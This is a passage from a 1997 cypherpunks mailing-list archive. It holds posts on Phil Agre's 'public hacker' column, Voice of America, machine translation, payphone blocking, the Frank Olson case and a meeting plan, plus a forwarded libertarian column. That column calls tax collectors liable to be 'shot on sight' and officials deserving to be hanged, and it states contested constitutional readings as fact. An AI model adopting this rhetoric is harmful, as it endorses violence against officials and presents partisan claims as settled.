Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 21 Dec 1997 00:23:44 +0800
To: cypherpunks@cyberpass.net
Subject: getting beyond cyberspace
Message-ID: <v04002715b0c19d259258@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



More proof that old Hegelians never die, they just synthesize themselves
into nonsense. Or, if you give a Hegelian enough time with no data, he'll
synthesize himself a rope and hang himself with. Or something.

Then there's the old logic joke: "There are two kinds of people, those who
use dichotomies and those who don't." :-).

Cheers,
Bob Hettinga

--- begin forwarded text


Resent-Date: Fri, 19 Dec 1997 20:59:45 -0800 (PST)
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/usr/spool/mqueue/rqueue
Date: Fri, 19 Dec 1997 20:50:51 -0800 (PST)
From: Phil Agre <pagre@weber.ucsd.edu>
To: rre@weber.ucsd.edu
Subject: getting beyond cyberspace
Resent-From: rre@weber.ucsd.edu
Reply-To: rre-maintainers@weber.ucsd.edu
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[When important new technologies come along, they create an imaginative
vacuum, and that vacuum is often filled with millenarian ideologies such
as the one about cyberspace.  Once the millennialists start promising world
peace, however, we can be sure that their day has passed, and that it is
time for a new ideology that is grounded in concrete attempts to integrate
the emerging technology with the real institutional world.  The enclosed
column about the reality check that can be glimpsed beyond the ideology
of cyberspace appeared in the November/December 1997 issue of Technology
Review.  The TR people picked the title.  The column was invited as an
"audition" for a regular columnist's position in the radically overhauled
version of Technology Review that is due in the spring.  I didn't pass
the audition.  Which is how it goes, of course, although I and many others
are waiting with some concern to see whether the new magazine retains the
integrity of the classic version.]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
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for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


  The Next Internet Hero

  Phil Agre
  http://communication.ucsd.edu/pagre/

  Copyright 1997 by MIT's Technology Review.  You may forward this
  article to anyone for any noncommercial purpose, provided that
  you forward it in its entirety, including this copyright notice.


Every new technology is accompanied by a grand narrative.  The
Internet's grand narratives have focused on heroes: people who are
leading the transition to a more information-intensive society.  The
Internet has produced two generations of hero figures.  Now it's time
for a third.

The first hero was the good hacker.  The Internet originated in a
special setting -- the community funded by the Advanced Research
Projects Agency (ARPA).  These earliest hackers were establishment
revolutionaries.  Their guiding narrative was that information
technology and human beings are symbiotic elements of a larger system.
They owned the biggest computers and they defined the technologies
that became the Internet.

The next hero was the rebel hacker.  The second generation viewed
hacking as something that happens outside of established institutions.
Electronic mail, for example, symbolized and sometimes aided
resistance to hierarchy.  Rebel hackers include the "cypherpunks", who
resist authority by propagating robust encryption software.  But rebel
hackers can be found in practically any organization; they were the
folks who spent their evenings and weekends creating the first million
or so Web pages during the early-to-mid 1990s.  More social movement
than business practice, these Web projects were rarely integrated into
organizational procedures or strategies.

The rebel hacker is guided by the notion of cyberspace, a digital
ether that transcends the obsolete constraints of the physical
world.  This is a religious idea, and it inherits a long millenarian
tradition.  It promises to level hierarchies, erase borders, confound
the powers of the earth, and institute a perpetual utopia of peace
and plenty for all.  A belief in cyberspace is the twentieth century's
last revolutionary ideology.

The grand narrative of cyberspace, however, no longer tells us what we
need to know.  The rebel hackers derived their revolutionary edge from
the continuing rapid growth in microprocessor power, telecommunications
bandwidth, and data storage capacity.  Dramatic improvements in
information technology, they said, would surely turn society inside
out.  But this argument is misleading.  We can indeed be confident
that the basic building blocks of computers and networks will continue
to improve.  But we cannot predict what will be built from them -- the
architecture of the many-layered information infrastructure that is
rapidly emerging around the world.

The questions are endless: Will online commerce systems support
anonymous payment, or will they keep complete records of our
transactions?  Will our communications systems let users screen
out unwanted messages, or will we drown in mass mailings?  Will
educational systems support new kinds of learning, or merely introduce
new forms of rote drill?  Will the Internet continue to embody the
scientific community's values of open information, or will it converge
with the business models of broadcast media?  The answers to these
questions are not dictated by the basic workings of the machinery.
They are matters not for prediction but for choice.  The Internet
is becoming integrated with institutions, influencing them and
being influenced in turn.  Society needs institutions, after all,
and information technology provides us with a tremendous opportunity
to redesign our institutions in ways that express the values of a
democratic society.  This is not a job for the rebel hacker, who is
sworn simply to resist the bad institutions of yore.

That's why we need a new kind of Internet hero: the public hacker.
Whereas the good hacker and the rebel hacker changed the world by
changing technology, the public hacker builds bridges between the
esoteric world of technical work and the bigger, messier world in
which values are argued and chosen.  The public hacker is bilingual,
translating between technical issues and legal issues, between
the dynamics of systems and the dynamics of communities, between
technological visions and social visions.

The public hacker still invents technologies when they're necessary,
propagates them when they're useful, and defends them when they
deserve it.  But this new hero's imagination is not entirely driven
by the machinery.  Some examples: Mitchell Kapor, co-founder of
the Electronic Frontier Foundation, helped catalyze a remarkably
broad-based public discussion of the social values at stake as
we create the information infrastructure.  Peter Neumann edits an
Internet forum, the Risks Digest, that has sensitized innumerable
computer people to the things that go wrong with computer systems in
real institutional settings.  And Pamela Samuelson brings technical
and legal analysis together in the public sphere, helping policymakers
tackle the intellectual property issues that arise in digital media.

If these people don't seem like traditional heroes, perhaps we need
a new conception of heroism.  Revolutionary heroes changed the world
in a unilateral way.  Now we need heroes who can help us imagine our
options.

end

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Sun, 21 Dec 1997 01:27:43 +0800
To: <declan@well.com>
Subject: Re: White House admits censoring Chinese dissident
Message-ID: <01bd0d66$a6bbe940$06060606@russell>
MIME-Version: 1.0
Content-Type: text/plain




>    The Clinton administration was in the middle of a firestorm yesterday
>after officials admitted blocking a global broadcast of a Wei Jingsheng
>interview for fear of annoying China.


>    Officials tried in vain to stop the government radio station, Voice of
>America (VOA), from broadcasting the interview, but succeeded in blocking
>it from Worldnet.

Both are propaganda arms of the US government. For better
or worse the idea is to allow the US President to promote his
political agenda across the world. If the US president decides
not to allow a person access to his propaganda machine thats
not censorship, its an editorial decision.

There is a great new history of both agencies called 'Warriors
of disinformation' written by Wick's second in command.

I am not opposed in principle to governments having a propaganda
agency but VoA and Worldnet should be shut down completely.
Unlike the BBC they have entirely failed to gain credibility, the
propaganda they broadcast is as obvious and transparent as 
radio Moscow, and about as interesting.

To appreciate the subtlty of World service propaganda you have
to listen very hard. For example during a refuge crisis there is
a long piece about the ex-pat Kurd communities in Australia and 
Toronto. The propaganda objective being to make refugees make
those places their destinations of choice.

CNN has made VoA entirely obsolete. The best thing the US 
could do would be to give them the VoA shortwave transmitters 
and retire.

The only place where Worldnet has had a measurable impact is 
in the West generally and the US in particular. Worldnet spin 
allowed the Russian shooting down of KAL 007 over Russian 
Airspace to be presented as an act of unconsionable perfidy
while the Vincent's shooting down of an Iranian civilian airplane
in international airspace was presented as 'an unfortunate 
accident'.

The piece de resistance of US propaganda efforts is TV
Marti which costs the US millions of dollars each year to 
broadcast from a blimp moored in Florida. It costs Castro
a few thousand dollars to jam it using cheap transmitters.
Television is much easier to jam than radio, both because
of the frequencies used and the need for a clear timing
signal.

Ironically the Cubans have said that they are quite happy 
to have US TV, they just can't resist an opportunity for a
cheap propaganda victory of their own. The idea that Cubans
can keep the Imperialist Americans at bay by being smarter
is the big idea keeping Castro in power. ABC, NBC and 
CNN signals are quite wellcome.

There is good reason to believe them since in Dresden the
East German authorities errected a relay station to broadcast
west german TV. They were finding it difficult to persuade 
people to work in Dresden which is out of range of the West
German TV signal. 

The best propaganda a democratic government can create
is that outside its control. Political change in South Africa 
came partly as a result of US TV shows which showed Blacks
in positions of authority. The Web will effect political change
through person to person interactions, on USEnet, IRC and
mailing lists. 


I don't think it is a good idea for a democratic government to
spend money propagandising to its own people. I don't think
that the US has the subtlety to propagandise effectively to 
others. Ergo it should get out of the propaganda business 
entirely.

                Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Sun, 21 Dec 1997 01:42:09 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Automatic Translations
In-Reply-To: <v03102808b0c0a5dcb374@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.971220122640.10908M-100000@devel.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 19 Dec 1997, Tim May wrote:

> I just discovered an amazing, wonderful service which translates text into
> and from various European languages. Samples included here, of this text.

This _is_ pretty amazing. Previous to this, the only software I've seen
that's even similar are the realtime translation products offered by
Uni-verse, at <http://www.uni-verse.com/products.html>. Like this AV
Translation Service, the software is proprietary, but (worse), it must be
purchased and (as far as I can tell) only runs on Windows. Wonder how long
this is going to be free to use?


Schlüsselanarchy!

Michael Stutz  .  http://dsl.org/m/  .  copyright disclaimer etc
stutz@dsl.org  :  finger for pgp     :  http://dsl.org/copyleft/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sun, 21 Dec 1997 04:12:23 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Is Anonymous Communication only for "Criminals"?
In-Reply-To: <19971220182004.12276.qmail@nym.alias.net>
Message-ID: <3.0.3.32.19971220150701.033123cc@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 10:56 AM 12/20/97 -0700, Tim May wrote:
>I assumed a pay phone was Just
>Another Phone Number.)

My caller ID unit often identifies an incoming call as "Payphone".

I also had an interesting thing happen to me about ten years ago.  My home
phone got listed as a payphone.  When I moved and asked for a phone number,
I was told none were available.  The area I moved into was the fastest
growing section of the fastest growing county in the country for two or
more years running.  It took about a month to get a phone number from an
exchange that was from an area several miles form me.  Then an odd thing
happened.  I never got a phone bill.

I forget the exact details, but after several months of "free" telephone
service, my phone went dead one day.  When I called to inquire, I was told
that my number was a pay phone, not a residential number.  They finally
fixed things up, and got my service restored.  But there appears to be a
database field that says a number is or isn't a pay phone.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bruce Balden" <balden@mail.bc.rogers.wave.ca>
Date: Sun, 21 Dec 1997 07:29:49 +0800
To: "Dr.Dimitri Vulis KOTM" <cypherpunks@toad.com>
Subject: Re: Frank Olson
Message-ID: <01bd0d9e$6ed6b2c0$69737018@eudoxus.bc.rogers.wave.ca>
MIME-Version: 1.0
Content-Type: text/plain



At that time, snail mail was pretty safe even from the spooks (with certain
precautions). So what's your point?  If the military-industrial complex
wants to ruin your life, it's the guns and fences and dogs that ultimately
tell the story, cause your unbreakable cipher to be compromised yourself
under truth drugs, etc.  The bureaucractic mess surrounding key recovery
would probably make most spooks look for much more low-tech methods of
compromising your security.


-----Original Message-----
From: Dr.Dimitri Vulis KOTM <dlv@bwalk.dm.com>
To: cypherpunks@toad.com <cypherpunks@toad.com>
Date: Saturday, December 20, 1997 3:15 PM
Subject: Frank Olson


>I just saw a very interesting story on the Discovery Channel.
>
>In 1953 the US was actively pursuing bio warfare (a subject of current
>interest to me). Frank Olson was a good bacteriologist working for the
gubmint
>(NIH?), in close contact with the CIA. One night he attended a work-related
>party, where everyone acted strangely; the next day, he a) decided to
resign
>his job, b) discussed his classified bio warfare work with people on his
car
>pool. But the gubmint didn't accept his resignation and instead sent him to
>NYC for a psychiatric evaluation. He was sharing a hotel room with a CIA
>employee, who claims that he was woken up the sound of breaking glass:
Frank
>Olson supposedly jumped out the window.
>
>In 1975 it was revealed that at the party the attendees were given LSD
without
>their concent as part of a CIA experiment, which is why everyone was acting
>strangely. Pres Ford issued an official apology to Olson's family and gave
>them $750,000 in compensation.
>
>Now there's a new twist. In 1953, the gubmint insisted that Olson be buried
in
>a closed casket, claiming he had cuts and bruises on his face. The family
>never saw him. In 1994 his son has the body exhumed and re-examined. There
>were no cuts and bruises, but forensic evidence suggests very strongly that
he
>was hit with something over the head and then thrown out the window. The
NYC
>DA has now started a murder investigation.
>
>This has little crypto relevance, except for the bio warfare angle, and the
>question: do you want these guys to have access to your cryptographic keys?
>
>---
>
>Dr.Dimitri Vulis KOTM
>Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@die.com>
Date: Sun, 21 Dec 1997 05:29:20 +0800
To: Charlie Comsec <comsec@nym.alias.net>
Subject: Re: Is Anonymous Communication only for "Criminals"? (was: Re: UCENET II and Peter duh Silva)
In-Reply-To: <19971220182004.12276.qmail@nym.alias.net>
Message-ID: <19971220162410.14018@die.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Dec 20, 1997 at 06:20:04PM -0000, Charlie Comsec wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> gburnore@netcom.com (Gary L. Burnore) wrote:
> 
> > On 19 Dec 1997 23:01:59 +0100, Charlie Comsec  wrote:
> > :Actually in the case of anonymous e-mail you have one additional
> > :safeguard.  You can ask to be blocked from receiving anonymous e-mail.  Try
> > :telling the telephone company that you want to be blocked from receiving
> > :calls from any pay phone!
> >    
> > It's available now.  The first to use it are pager companies.
> 
> Why would a pager company want to block calls from pay phones?  Haven't
> you seen that commercial (for MCI?) where the kids crowd into that phone
> booth and page someone to pick them up from school before the big
> storm hits?  Imagine if they had gotten a recording saying "I'm sorry.
> You can't page this number from a pay phone."  Really bad PR!

	War on (some) Drugs...  they don't want to, they have been asked to...

	Most payphones can no longer receive calls because of this as
well, and there are far fewer of them around in certain areas than there
used to be ...

	Pagers are a favorite communications vehicle amoung drug dealers...

	As of course are pay phones...

	Public safety, service and conveniance come second ...

-- 
	Dave Emery N1PRE,  die@die.com  DIE Consulting, Weston, Mass. 
PGP fingerprint = 2047/4D7B08D1 DE 6E E1 CC 1F 1D 96 E2  5D 27 BD B0 24 88 C3 18





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Sun, 21 Dec 1997 08:38:08 +0800
To: Andrade Software Andrade Networking <ptrei@securitydynamics.com (Trei Peter)
Subject: Re: How about a Bay Area Cypherpunks meeting 1/17/98?
In-Reply-To: <6B5344C210C7D011835C0000F80127668B1593@exna01.securitydynamics.com>
Message-ID: <3.0.3.32.19971220162642.0074f3dc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:18 PM 12/18/1997 -0800, Andrade Software Andrade Networking wrote:
>> It would be nice if the January meeting were held the 17th.
>> This is the day following the RSA Data Security Conference, 
>> and a lot of out-of-towners will be in the area over that weekend.
>> Peter Trei
>
>Will there be a meeting then?  If so, where and when?

It's a nice idea, and it's my preference as well.
The main schedule conflict is that someone had arranged with
Lee Tien and Cindy Cohn to talk at Cypherpunks on Jan. 10,
and I haven't heard back on whether she's been able to reschedule them
to the 17th.  Lee, Cindy, does the 17th work for you?

				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sun, 21 Dec 1997 06:12:27 +0800
To: "CypherPunks List" <baj@sover.net>
Subject: Fwd: Dec. 16 column -- Bill of Rights
Message-ID: <199712202207.RAA21162@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain




---------------- Begin Forwarded Message ----------------
Date:        12/18  8:38 AM
Received:    12/18  11:04 PM
From:        Vin Suprynowicz)(by way of Hardy Macia, 
Vin_Suprynowicz@lvrj.com
Reply-To:    Vermont Libertarian, vtlp-list@catamount.com
To:          Multiple recipients of vtlp-list, vtlp-list@catamount.com

This article comes from Vin Suprynowicz's mailing list. Should we have a
celebrat Bill of Rights Day? -- Hardy

_______________________

    FROM MOUNTAIN MEDIA
    FOR IMMEDIATE RELEASE DATED DEC. 16, 1997
    THE LIBERTARIAN, By Vin Suprynowicz
    Our second national holiday

    Americans make a big hubbub over the Fourth of July.

  True, the victory of 1781 was an amazing triumph, and the vision of 
those
gathered in Philadelphia five years before -- that men may rightfully form
or disband governments at will, for the higher purpose of protecting our
God-given individual rights -- is still worth celebrating.

  But that confederation of free men ended on June 21, 1788, when New
Hampshire became the ninth state to ratify the new United States
Constitution, making it the law of the land. At that point, the
organization of free peoples created by the Declaration of Independence --
the one we still celebrate each July -- passed away.

  Our government school teachers tell us this was necessary because the
Articles of Confederation "weren't working out." But they are woefully
light on specifics. Push them, and most will mutter uncertainly some 
trivia
about seaboard states charging tariffs on goods transshipped to landlocked
states. Point out that the first landlocked states -- Vermont and Kentucky
-- weren't admitted until 1791 and 1792, and they will usually fall into a
puzzled, grumbling silence.

  Anyway, there it is: The people fell for the siren song of "federalism,"
accepting solemn promises that the powers of the new central government
would be sharply limited to those expressly spelled out -- funding a Navy,
granting patents and copyrights, coining metal money. Not much more.

  Fast forward 210 years. As a recipe for limited government, this
Constitution now matches the creature it's supposed to describe about as
well as a Chihuahua's carry-on "Pet Kennel" would fit a drooling Irish
wolfhound.

  The prima facie proof of this failure now stares at us from every acre 
of
the former marshland north of the Potomac, a granite necropolis and
memorial park to our deceased freedoms at least a hundred times larger in
manpower and frenzied ambition to control our lives than Mr. Jefferson
could ever have imagined (though one suspects Mr. Hamilton would have
smiled.)

  In the face of this unchained monster, our thin remaining hope against
outright tyranny lies in the fact that Rhode Island and North Carolina
(bless them) outright refused to ratify that Constitution until a Bill of
Rights was added -- while Massachusetts, Maryland, South Carolina, New
Hampshire, Virginia And New York all ratified only on the condition that
some such set of amendments be quickly appended, as was solemnly promised.

  And so, on the day we should probably celebrate as our SECOND great
national holiday, on Dec. 15, 1791, Virginia became the 11th state to
ratify the first 10 proposed amendments -- Mr. Madison's "Bill of Rights"
-- though a better name might be the "Bill of Prohibitions" on government
conduct.

  This Dec. 15, as usual, that anniversary passed with the kind of
afterthought mention on the daily news and propaganda broadcasts usually
reserved for "On this day 70 years ago, Commander Perry reached the North
Pole" -- about as much attention as was paid, two days later, to the 224th
anniversary of the great event of Dec. 17, 1773 ("The most magnificent
movement of all. There is a dignity, a majesty, a sublimity in this last
effort of the patriots that I greatly admire," said future president John
Adams of the tax-resisting militiamen who that day dumped 342 chests of 
tea
into Boston harbor.)


An establishment of religion

  To their credit, Aaron Zelman and J.E. Simkin of the little
Milwaukee-based Jews for the Preservation of Firearms Ownership battled 
for
months this year to get city councils around the country to adopt
proclamations honoring Dec. 15 as Bill of Rights Day -- succeeding with a
small, proud band which now includes Randolph County, N.C.; Cobb County,
Ga.; the City of Asheboro; the town of Rainier, Wash.; and spunky little
Valley City, N.D.

  JPFO has also just brought out the latest in their line of "Gran'pa 
Jack"
comic books, "It's Common Sense to Use Our Bill of Rights ...  Or Lose
Them!" suitable to explain the Bill of Rights to any kid, aged 6 to 60 ...
of which more later.

  But against Mr. Zelman's admirable efforts, the question remains: Why do
the folks now in charge of our national offices -- including the 
government
schools -- so pass over and ignore the historic ratification of those 462
little words which have made us for two centuries the envy of men and 
women
seeking freedom the world around -- this Bill of Rights?

  Because they fear folks might actually read them?

  They're in plain English, you know. It was never intended we should need
an attorney to tell us what they mean -- let alone that we should tolerate
courts telling us they don't mean what we can plainly read there for
ourselves.

  It couldn't be because they're afraid we'd actually go read the First
Amendment, could it, which begins, "Congress shall make no law respecting
an establishment of religion ..."?

  What does it mean for a government to "establish" a religion? Why,
clearly, to establish one religion as that enforced by the government,
against all others ... like the Church of England.

  Let us suppose, for instance, that an extremist cult were to arise, 
which
holds it is a mortal sin to plow under any weed, or to destroy any bug or
small verminous rodent which we may find on our own property, providing 
the
priests of this extremist cult should decide (based on divine revelation)
to list that weed or bug in their own scriptures as "threatened" or
"endangered."

  That would be no problem, so long as the priests of this weird sect had
no legal authority to do anything but preach against us from their own,
private pulpits.

  But let us now suppose the government were to erect a headquarters for
this sect in Washington at taxpayer expense, and issue them guns and
badges, empowering them to enter onto our private property, arresting and
jailing us and seizing our land and homes if they should find us killing
our own weeds and bugs, to which no one else can demonstrate any legal
title?

  That would be "an establishment of religion," wouldn't it, and thus
banned under the First Amendment? Why, such extralegal usurpations might
even tempt government agents to eventually storm, burn and massacre
harmless citizens in their own churches of a Sunday afternoon, for
practicing some religion not approved by Washington, mightn't it? Thank
goodness we have a First Amendment to prevent that kind of thing.

  So (start ital)that(end ital) couldn't be the one they don't want us to 
read.

  It couldn't be because they're afraid we'd actually go read the (start
ital)Second(end ital) Amendment, could it? The one that says "A well
regulated Militia being necessary to the security of a free State, the
right of the people to keep and bear arms shall not be infringed"?


Shall not be infringed

  What's that word "free" doing in there?

  Mr. Madison knew full well that no citizen-militia was necessary to
protect the security of the kingdoms of France or Russia. Mercenary,
professional, standing armies did just fine to protect their borders -- at
the price of their own disarmed populaces being subject to tyranny under
the same muskets.

  Only a "free" country requires that the bulk of the potential armed
forces consist of free, private citizens better armed than the men
commanded by the central government, just as the unofficial "Fairfax 
County
Militia" of Messrs. Washington and Mason had been better armed than the
special militia or "National Guard" available to obey the orders of the
crown's "governor of Virginia" in 1776 ... else the Revolution still fresh
in Mr. Madison's mind could never even have been launched, let alone won.

  What the Second Amendment clearly means is that -- as a guarantee 
against
the threat of internal government tyranny -- any law-abiding American 
adult
not obviously insane or severely retarded has a right to own and carry 
with
him -- down to the federal courthouse, to a rally in Washington City, or
onto an airplane -- a belt-fed 30-caliber Browning machine gun, or a
shoulder-launched heat-seeking missile. (You're not going to argue we 
could
stand up to the FBI, the ATF, or the 87th Airborne with a Ruger 10-22 and 
a
few old muzzle-loaders, I hope?)

  And when it says that right shall not be "infringed," that means neither
the weapon, nor its ammunition, nor the buying or transport of either, may
be taxed, regulated, or subjected to any "permitting" process. The
government can't even require that the store clerk who sells me my machine
gun "check my ID," or write down my name.

  Certainly, under a Constitution so amended, no congresswomen would ever
be allowed to ban the import and private purchase of certain militarily
useful firearms because their pistol grips and removable magazines makes
them (start ital)too(end ital) useful to freedom-fighters ... would they?
Nor would any president be able to remain in office if he ordered surplus
government M-1 Garands and Colt 1911s shredded and melted to keep them out
of the hands of our own civilian militia ... or banned the re-importation
of American-made Garands and M-1 carbines without even submitting a bill 
to
Congress, instead merely signing some royal decree, or so-called 
"executive
order" ... would he?

  No; that's all clear enough. (start ital)That(end ital) can't be the one
they don't want us to read.


An impartial jury

  Could it be they're afraid we might read the (start ital)Sixth(end ital)
Article of Amendment, which begins, "In all criminal prosecutions, the
accused shall enjoy the right to a speedy and public trial, by an 
impartial
jury ..."

  The high court, of course, now holds this doesn't mean what it appears 
to
mean to us non-lawyers, at all. Rather than see the courts grow too
crowded, her eminence Sandra Day O'Connor now informs us no trial is
required if the state agrees to jail us for fewer than 180 days ... or 
even
for fewer than 180 days on (start ital)each charge(end ital).

  But crowded courts are a self-correcting problem, once all defendants 
are
guaranteed a "speedy" trial. The correct answer is to force every case to
trial before a jury within one week ... to ban all "plea bargains." (Do we
really believe the cops arrest all those people on the wrong charges?)

  Forced to pick and choose the few cases they really have time to try,
prosecutors would be forced (under the existing "speedy trial" provision)
to promptly release the 95 percent of federal defendants who have 
committed
no violent felony, but only violated some arbitrary bureaucratic edict. 
Aw,
gee.

  And by the way, what's that word "impartial" doing in there?

  The British common-law jury system with which the Founders were familiar
made no provision for the judge to ask potential jurors in advance whether
they favored the enforcement of the law in question ... which is why the
misguided government could never get any convictions in the North in the
1850s on charges of violating the hated Fugitive Slave Act, any more than 
a
government saddled with the same jury system could convict William Penn in
London, some years before, on charges of preaching a Quaker sermon.

  Importantly, it is only the (start ital)defendant(end ital) who is
guaranteed an impartial jury -- we find here no guarantee that "the state
shall enjoy ..."

  When the judge asks the jury pool whether anyone would have a problem
sending someone to jail for smoking pot, or for owning an ancient
collectable World War One machine gun without having previously submitted
his fingerprints to the ATF, or for declining to pay a federal income tax
on wages -- and when that judge promptly sends home anyone who raises his
or her hand -- he is not empaneling an "impartial" jury; he is
pre-screening a jury guaranteed to be predisposed to the government's 
case.
He is violating the Sixth Amendment.

  The original term for a jury trial was a trial "en pays," or "on the
country." The jury is supposed to represent a cross-section of our fellow
citizens. Unless a law has broad -- 92 percent, actually -- public 
support,
the chances are that a randomly-selected group of 12 citizens will include
one member (8.33 percent of the panel) who finds the law a hateful
abomination, and who will refuse to convict. Hung jury: Defendant walks.

  That is the meaning, and the intent, of the Sixth Amendment prohibition
on government taking away our life, liberty or property without "a speedy
trial ... by an impartial jury."

  And what about the Tenth Amendment, which specifies, "The powers not
delegated to the United States by the Constitution, nor prohibited by it 
to
the States, are reserved to the States respectively, or to the people."

  This means 90 percent of the laws, agencies, orders and regulators now
pouring forth from Washington City like demons breaching the walls of hell
are null and void -- deformed, fatherless creatures, apt to melt away like
Goblins if ever tested in the harsh daylight of the Bill of Rights.


'Which one? Point to it'

  It doesn't matter whether you like these rights and prohibitions,
consider that they might tempt disorder, or think it's a good idea to
"allow" them -- any more than it matters whether you think we should
"allow" the sun to rise tomorrow, or the birds to fly. It doesn't work 
that
way.

  The several sovereign states only ratified the Constitution on our 
behalf
on condition that these protections of our unalienable rights against
government "infringement" be made the highest law of the land. Without the
first 10 amendments, the whole contract is null and void ... without them,
there IS no legitimate federal government, and their tax collectors become
nothing but common thieves, subject to being shot on sight if ever caught
outside their federal asylum on the Potomac.

  Any government official who declines to protect and defend these
amendments, in their clear meaning, is a traitor, in violation of the
sacred oath they all take to protect and defend this Constitution. Such
persons should be indicted -- impeached, if they are high officials -- 
and,
only if convicted by either the Senate or an impartial citizen jury,
hanged.

  This includes a whole lot of Congressmen, who have voted for a massive
snare of laws which "sounded like a good idea" without doing their sworn
duty, which was to open said Constitution to Article I Section 8 (the
Powers of Congress), scan through the 431 words found there, and then ask
the sponsor, "Which one of these 18 sentences gives you the specific,
delegated power to spend FEDERAL tax money to pay the medical bills of
barefoot Appalachian widows? Which one? Point to it."

  The comic book "Gran'pa Jack No. 3: 'Common Sense' " is available at $4
per single copy, $20 for 25, $30 for 50, from Jews for the Preservation of
Firearms Ownership, 2874 S. Wentworth Ave., Milwaukee, Wisc. 53207.

  The first Gran'pa Jack comic, " 'Gun Control' Kills Kids," is also still
available, at $3 single copy, $14 for 25, $20 for 50 -- Wisconsin 
residents
add 5.6 percent sales tax.

  Or telephone the JPFO at 414-769-0760.

  Meantime, go buy a copy of the Declaration of Independence, and the Bill
of Rights, and read them to a child.

  It's our next-to-last last hope.

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The 
web
site for the Suprynowicz column is at http://www.nguworld.com/vindex/. The
column is syndicated in the United States and Canada via Mountain Media
Syndications, P.O. Box 4422, Las Vegas Nev. 89127.

***




Vin Suprynowicz,   vin@lvrj.com

"If ye love wealth greater than liberty, the tranquility of 
se---------------------------------------------------
This message is from the VTLP-list (Vermont Libertarian) mailing list. To 
send
a message to everyone on this list send email to 
<vtlp-list@catamount.com>. To
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send email to <macjordomo@catamount.com> with "subscribe vtlp-list your 
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in the body of the message.

 


----------------- End Forwarded Message -----------------

Brian B. Riley --> http://members.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "Do not go where the path may lead, go instead where there is 
   no path, and leave a trail."  - Ralph Waldo Emerson






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 21 Dec 1997 06:44:29 +0800
To: cypherpunks@toad.com
Subject: Frank Olson
Message-ID: <Jm81He21w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



I just saw a very interesting story on the Discovery Channel.

In 1953 the US was actively pursuing bio warfare (a subject of current
interest to me). Frank Olson was a good bacteriologist working for the gubmint
(NIH?), in close contact with the CIA. One night he attended a work-related
party, where everyone acted strangely; the next day, he a) decided to resign
his job, b) discussed his classified bio warfare work with people on his car
pool. But the gubmint didn't accept his resignation and instead sent him to
NYC for a psychiatric evaluation. He was sharing a hotel room with a CIA
employee, who claims that he was woken up the sound of breaking glass: Frank
Olson supposedly jumped out the window.

In 1975 it was revealed that at the party the attendees were given LSD without
their concent as part of a CIA experiment, which is why everyone was acting
strangely. Pres Ford issued an official apology to Olson's family and gave
them $750,000 in compensation.

Now there's a new twist. In 1953, the gubmint insisted that Olson be buried in
a closed casket, claiming he had cuts and bruises on his face. The family
never saw him. In 1994 his son has the body exhumed and re-examined. There
were no cuts and bruises, but forensic evidence suggests very strongly that he
was hit with something over the head and then thrown out the window. The NYC
DA has now started a murder investigation.

This has little crypto relevance, except for the bio warfare angle, and the
question: do you want these guys to have access to your cryptographic keys?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 21 Dec 1997 07:06:29 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Hate speech and censorship
